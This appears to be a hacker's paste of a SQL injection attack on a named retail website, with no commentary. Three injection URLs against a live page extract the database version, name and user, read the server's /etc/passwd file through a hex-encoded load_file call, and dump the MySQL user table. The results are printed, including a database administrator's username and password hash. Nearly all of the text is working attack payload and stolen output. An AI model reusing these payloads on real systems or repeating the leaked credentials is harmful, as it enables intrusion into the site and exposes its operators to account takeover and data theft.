http://www.istyle.ro/i_category.php?id=-9375+union+select+1,concat_ws(0x3a,version(),datab ase(),user()),3,4,5,6,7,8,9,10,11,12,13




Database Version: 4.1.22-log
Database name: sql_applestore_mg
User name: sqladmin@ns.macgallery.ro


http://www.istyle.ro/i_category.php?id=-9375+union+select+1,load_file(0x2F6574632F70617373 7764),3,4,5,6,7,8,9,10,11,12,13

## # User Database # # Note that this file is consulted when the system is running in single-user # mode. At other times this information is handled by one or more of: # lookupd DirectoryServices # By default, lookupd gets information from NetInfo, so this file will # not be consulted unless you have changed lookupd's configuration. # This file is used while in single user mode. # # To use this file for normal authentication, you may enable it with # /Applications/Utilities/Directory Access. ## nobody:*:-2:-2:Unprivileged User:/:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false postfix:*:27:27:Postfix User:/var/spool/postfix:/usr/bin/false www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false cyrusimap:*:77:6:Cyrus IMAP User:/var/imap:/usr/bin/false mailman:*:78:78:Mailman user:/var/empty:/usr/bin/false appserver:*:79:79:Application Server:/var/empty:/usr/bin/false clamav:*:82:82:Clamav User:/var/virusmails:/bin/tcsh amavisd:*:83:83:Amavisd User:/var/virusmails:/bin/tcsh jabber:*:84:84:Jabber User:/var/empty:/usr/bin/false xgridcontroller:*:85:85:Xgrid Controller:/var/xgrid/controller:/usr/bin/false xgridagent:*:86:86:Xgrid Agent:/var/xgrid/agent:/usr/bin/false appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false securityagent:*:92:92:SecurityAgent:/var/empty:/usr/bin/false unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

http://www.istyle.ro/i_category.php?id=-9375+union+select+1,concat_ws(0x3a,user,password), 3,4,5,6,7,8,9,10,11,12,13+from+mysql.user


sqladmin: *29C30F3228837BB0384A9F3DC58FF79173D5F952